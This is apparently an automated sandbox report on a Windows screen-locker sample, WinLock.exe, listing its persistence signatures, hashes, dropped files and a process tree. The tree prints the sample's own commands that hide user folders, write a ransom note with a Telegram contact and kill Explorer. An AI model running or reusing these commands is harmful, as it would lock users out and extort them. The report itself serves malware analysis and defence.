Analysis

  • user interaction
    yes
  • max time kernel
    88s
  • max time network
    89s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260130-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    23/04/2026, 14:36

General

  • Target
    WinLock.exe
  • Size 208KB
  • Sample260423-rymc7af14s
  • SHA256 9dc4648952b7fc9ea93f687e09d29283b04a491690b2737c84c06eba6eb62d18
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 13 IoCs
  • Drops desktop.ini file(s) 12 IoCs
  • Hide Artifacts: Hidden Files and Directories 1 TTPs 12 IoCs
  • Kills process with taskkill 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 37 IoCs
  • Views/modifies file attributes 1 TTPs 24 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\WinLock.exe
    "C:\Users\Admin\AppData\Local\Temp\WinLock.exe"
    1⤵
    • Modifies WinLogon for persistence
    • Adds Run key to start application
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4564
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c F: & attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @MitaVlasova 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      • Suspicious use of WriteProcessMemory
      PID:5512
      • C:\Windows\system32\attrib.exe
        attrib +h +s +r +i /D
        3⤵
        • Views/modifies file attributes
        PID:3508
      • C:\Windows\system32\attrib.exe
        attrib -h +s +r info-Locker.txt
        3⤵
        • Views/modifies file attributes
        PID:2332
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c cd "%userprofile%\desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @MitaVlasova 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      • Suspicious use of WriteProcessMemory
      PID:4976
      • C:\Windows\system32\attrib.exe
        attrib +h +s +r +i /D
        3⤵
        • Drops desktop.ini file(s)
        • Views/modifies file attributes
        PID:4004
      • C:\Windows\system32\attrib.exe
        attrib -h +s +r info-Locker.txt
        3⤵
        • Views/modifies file attributes
        PID:5780
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @MitaVlasova 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      • Suspicious use of WriteProcessMemory
      PID:4824
      • C:\Windows\system32\attrib.exe
        attrib +h +s +r +i /D
        3⤵
        • Drops desktop.ini file(s)
        • Views/modifies file attributes
        PID:3324
      • C:\Windows\system32\attrib.exe
        attrib -h +s +r info-Locker.txt
        3⤵
        • Views/modifies file attributes
        PID:5296
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c cd "%userprofile%\downloads"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @MitaVlasova 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      • Suspicious use of WriteProcessMemory
      PID:4860
      • C:\Windows\system32\attrib.exe
        attrib +h +s +r +i /D
        3⤵
        • Drops desktop.ini file(s)
        • Views/modifies file attributes
        PID:5652
      • C:\Windows\system32\attrib.exe
        attrib -h +s +r info-Locker.txt
        3⤵
        • Views/modifies file attributes
        PID:6084
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c cd "%userprofile%\documents"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @MitaVlasova 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      • Suspicious use of WriteProcessMemory
      PID:4864
      • C:\Windows\system32\attrib.exe
        attrib +h +s +r +i /D
        3⤵
        • Drops desktop.ini file(s)
        • Views/modifies file attributes
        PID:4372
      • C:\Windows\system32\attrib.exe
        attrib -h +s +r info-Locker.txt
        3⤵
        • Views/modifies file attributes
        PID:1248
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c cd "%userprofile%"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @MitaVlasova 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      • Suspicious use of WriteProcessMemory
      PID:4872
      • C:\Windows\system32\attrib.exe
        attrib +h +s +r +i /D
        3⤵
        • Views/modifies file attributes
        PID:4692
      • C:\Windows\system32\attrib.exe
        attrib -h +s +r info-Locker.txt
        3⤵
        • Views/modifies file attributes
        PID:3956
    • C:\Windows\SYSTEM32\taskkill.exe
      taskkill.exe /im Explorer.exe /f
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:4908
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c F: & attrib -h -s -r -i /D & del info-Locker.txt /q /s & attrib +h +s -r desktop.ini
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      • Suspicious use of WriteProcessMemory
      PID:2588
      • C:\Windows\system32\attrib.exe
        attrib -h -s -r -i /D
        3⤵
        • Views/modifies file attributes
        PID:3168
      • C:\Windows\system32\attrib.exe
        attrib +h +s -r desktop.ini
        3⤵
        • Views/modifies file attributes
        PID:1192
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c cd "%userprofile%\desktop"&attrib -h -s -r -i /D & del info-Locker.txt /q /s & attrib +h +s -r desktop.ini
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      • Suspicious use of WriteProcessMemory
      PID:1816
      • C:\Windows\system32\attrib.exe
        attrib -h -s -r -i /D
        3⤵
        • Drops desktop.ini file(s)
        • Views/modifies file attributes
        PID:4544
      • C:\Windows\system32\attrib.exe
        attrib +h +s -r desktop.ini
        3⤵
        • Drops desktop.ini file(s)
        • Views/modifies file attributes
        PID:436
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib -h -s -r -i /D & del info-Locker.txt /q /s & attrib +h +s -r desktop.ini
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      • Suspicious use of WriteProcessMemory
      PID:3320
      • C:\Windows\system32\attrib.exe
        attrib -h -s -r -i /D
        3⤵
        • Drops desktop.ini file(s)
        • Views/modifies file attributes
        PID:5384
      • C:\Windows\system32\attrib.exe
        attrib +h +s -r desktop.ini
        3⤵
        • Drops desktop.ini file(s)
        • Views/modifies file attributes
        PID:4272
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c cd "%userprofile%\downloads"&attrib -h -s -r -i /D & del info-Locker.txt /q /s & attrib +h +s -r desktop.ini
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      • Suspicious use of WriteProcessMemory
      PID:2864
      • C:\Windows\system32\attrib.exe
        attrib -h -s -r -i /D
        3⤵
        • Drops desktop.ini file(s)
        • Views/modifies file attributes
        PID:1184
      • C:\Windows\system32\attrib.exe
        attrib +h +s -r desktop.ini
        3⤵
        • Drops desktop.ini file(s)
        • Views/modifies file attributes
        PID:4276
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c cd "%userprofile%\documents"&attrib -h -s -r -i /D & del info-Locker.txt /q /s & attrib +h +s -r desktop.ini
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      • Suspicious use of WriteProcessMemory
      PID:3960
      • C:\Windows\system32\attrib.exe
        attrib -h -s -r -i /D
        3⤵
        • Drops desktop.ini file(s)
        • Views/modifies file attributes
        PID:4468
      • C:\Windows\system32\attrib.exe
        attrib +h +s -r desktop.ini
        3⤵
        • Drops desktop.ini file(s)
        • Views/modifies file attributes
        PID:2100
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c cd "%userprofile%"&attrib -h -s -r -i /D & del info-Locker.txt /q /s & attrib +h +s -r desktop.ini
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      • Suspicious use of WriteProcessMemory
      PID:3124
      • C:\Windows\system32\attrib.exe
        attrib -h -s -r -i /D
        3⤵
        • Views/modifies file attributes
        PID:2068
      • C:\Windows\system32\attrib.exe
        attrib +h +s -r desktop.ini
        3⤵
        • Views/modifies file attributes
        PID:3856
  • C:\Users\Admin\AppData\Local\Temp\WinLock.exe
    "C:\Users\Admin\AppData\Local\Temp\WinLock.exe" --wininit
    1⤵
      PID:5364
    • C:\Users\Admin\AppData\Local\Temp\WinLock.exe
      "C:\Users\Admin\AppData\Local\Temp\WinLock.exe" -startup
      1⤵
        PID:2112
      • C:\Users\Admin\AppData\Local\Temp\WinLock.exe
        "C:\Users\Admin\AppData\Local\Temp\WinLock.exe"
        1⤵
          PID:6072
        • C:\Users\Admin\AppData\Local\Temp\WinLock.exe
          "C:\Users\Admin\AppData\Local\Temp\WinLock.exe" /setup
          1⤵
            PID:4608
          • C:\Users\Admin\AppData\Local\Temp\WinLock.exe
            "C:\Users\Admin\AppData\Local\Temp\WinLock.exe" --init
            1⤵
              PID:5540

            Network

                  MITRE ATT&CK Enterprise v16

                  Replay Monitor

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                  Downloads

                  WinLock.exe.log

                  • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\WinLock.exe.log
                  • Size 1KB
                  • SHA256 c897436c82fda9abf08b29fe05c42f4e59900116bbaf8bfd5b85ef3c97ab7884
                  • MD5 SHA1 SHA512 TLSH

                  $unlocker_id.ux-cryptobytes

                  • Path C:\Users\Admin\AppData\Local\Temp\$unlocker_id.ux-cryptobytes
                  • Size 6B
                  • SHA256 b9acf5909fe8d13ca20a7059bace3c84194a65dd2421b5e8892c950aab1dfd60
                  • MD5 SHA1 SHA512

                  info-Locker.txt

                  • Path C:\Users\Admin\Desktop\info-Locker.txt
                  • Size 77B
                  • SHA256 e202d96713dbf3e96997b2a0a96580fe98880276553db03c15534a76c2bce806
                  • MD5 SHA1 SHA512 TLSH

                  info-Locker.txt

                  • Path F:\info-Locker.txt
                  • Size 77B
                  • SHA256 1a253c245f1ebc313af450986498ef24c346d30fa146cd5d9c9a57ddbe32bbec
                  • MD5 SHA1 SHA512 TLSH

                  memory/2112-9-0x00000000013F0000-0x00000000013FC000-memory.dmp

                  memory/4564-0-0x0000000000F20000-0x0000000000F5A000-memory.dmp

                  memory/4564-25-0x000000001BB90000-0x000000001BBA0000-memory.dmp

                  memory/4564-24-0x0000000001710000-0x000000000171C000-memory.dmp

                  memory/4564-1-0x000000001BB90000-0x000000001BBA0000-memory.dmp

                  memory/4564-35-0x0000000001710000-0x000000000171C000-memory.dmp

                  memory/4608-17-0x0000000000A60000-0x0000000000A6C000-memory.dmp

                  memory/5364-8-0x0000000000DD0000-0x0000000000DDC000-memory.dmp

                  memory/5540-19-0x0000000002180000-0x000000000218C000-memory.dmp

                  memory/6072-13-0x00000000022A0000-0x00000000022AC000-memory.dmp